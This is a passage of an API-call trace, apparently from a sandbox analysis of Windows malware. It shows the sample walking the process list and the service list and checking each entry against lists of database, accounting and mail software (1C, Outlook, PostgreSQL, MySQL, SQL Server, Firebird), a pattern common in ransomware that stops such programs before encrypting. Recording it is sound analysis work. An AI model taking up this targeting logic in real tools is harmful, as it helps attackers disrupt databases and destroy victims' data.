	[0247.647] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0247.648] lstrlenW (lpString="csrss.exe") returned 9
	[0247.648] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0247.648] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0247.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0247.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0247.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0247.648] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0247.648] lstrlenW (lpString="wininit.exe") returned 11
	[0247.648] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0247.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0247.648] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0247.649] lstrlenW (lpString="csrss.exe") returned 9
	[0247.649] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0247.649] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0247.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0247.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0247.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0247.649] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0247.649] lstrlenW (lpString="winlogon.exe") returned 12
	[0247.649] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0247.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0247.649] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0247.650] lstrlenW (lpString="services.exe") returned 12
	[0247.650] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0247.650] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0247.650] lstrlenW (lpString="lsass.exe") returned 9
	[0247.650] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0247.650] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0247.650] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0247.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0247.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0247.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0247.650] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0247.651] lstrlenW (lpString="lsm.exe") returned 7
	[0247.651] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0247.651] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0247.651] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0247.651] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0247.651] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0247.651] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.651] lstrlenW (lpString="svchost.exe") returned 11
	[0247.651] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0247.651] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0247.651] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.652] lstrlenW (lpString="svchost.exe") returned 11
	[0247.652] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0247.652] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.652] lstrlenW (lpString="svchost.exe") returned 11
	[0247.652] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0247.652] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0247.652] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.653] lstrlenW (lpString="svchost.exe") returned 11
	[0247.653] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0247.653] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.653] lstrlenW (lpString="svchost.exe") returned 11
	[0247.653] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0247.653] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0247.653] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0247.654] lstrlenW (lpString="audiodg.exe") returned 11
	[0247.654] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0247.654] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0247.654] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0247.654] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0247.654] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0247.654] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.654] lstrlenW (lpString="svchost.exe") returned 11
	[0247.654] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0247.654] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0247.654] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0247.655] lstrlenW (lpString="userinit.exe") returned 12
	[0247.655] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0247.655] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0247.655] lstrlenW (lpString="explorer.exe") returned 12
	[0247.655] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0247.655] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0247.655] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0247.655] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0247.655] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0247.656] lstrlenW (lpString="dwm.exe") returned 7
	[0247.656] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.656] lstrlenW (lpString="svchost.exe") returned 11
	[0247.656] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0247.656] lstrlenW (lpString="swpesp.exe") returned 10
	[0247.656] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0247.657] lstrlenW (lpString="spoolsv.exe") returned 11
	[0247.657] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0247.657] lstrlenW (lpString="dllhost.exe") returned 11
	[0247.657] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0247.657] lstrlenW (lpString="taskhost.exe") returned 12
	[0247.657] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0247.657] lstrlenW (lpString="svchost.exe") returned 11
	[0247.657] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0247.658] lstrlenW (lpString="reader_sl.exe") returned 13
	[0247.658] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0247.658] lstrlenW (lpString="cmd.exe") returned 7
	[0247.658] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0247.658] lstrlenW (lpString="conhost.exe") returned 11
	[0247.658] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0247.659] lstrlenW (lpString="mode.com") returned 8
	[0247.659] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0247.659] CloseHandle (hObject=0x138) returned 1
	[0247.659] Sleep (dwMilliseconds=0x1f4) 
	[0248.442] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x51b1a8
	[0248.700] EnumServicesStatusExW (in: hSCManager=0x51b1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0248.701] GetLastError () returned 0xea
	[0248.701] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa08) returned 0x51d300
	[0248.701] EnumServicesStatusExW (in: hSCManager=0x51b1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x51d300, cbBufSize=0xa08, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x51d300, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0248.701] CloseServiceHandle (hSCObject=0x51b1a8) returned 1
	[0248.701] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0248.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0248.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0248.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0248.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0248.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0248.701] lstrlenW (lpString="AudioSrv") returned 8
	[0248.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0248.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0248.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0248.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0248.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0248.702] lstrlenW (lpString="BFE") returned 3
	[0248.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0248.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0248.702] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0248.702] lstrlenW (lpString="CscService") returned 10
	[0248.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0248.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0248.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0248.702] lstrlenW (lpString="DcomLaunch") returned 10
	[0248.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0248.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0248.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0248.702] lstrlenW (lpString="Dhcp") returned 4
	[0248.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0248.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0248.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0248.702] lstrlenW (lpString="Dnscache") returned 8
	[0248.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0248.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0248.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0248.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0248.702] lstrlenW (lpString="eventlog") returned 8
	[0248.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0248.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0248.703] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0248.703] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0248.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0248.703] lstrlenW (lpString="EventSystem") returned 11
	[0248.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0248.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0248.703] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0248.703] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0248.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0248.703] lstrlenW (lpString="gpsvc") returned 5
	[0248.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0248.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0248.703] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0248.703] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0248.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0248.703] lstrlenW (lpString="lmhosts") returned 7
	[0248.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0248.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0248.703] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0248.703] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0248.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0248.703] lstrlenW (lpString="MMCSS") returned 5
	[0248.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0248.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0248.703] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0248.703] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0248.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0248.703] lstrlenW (lpString="nsi") returned 3
	[0248.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0248.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0248.704] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
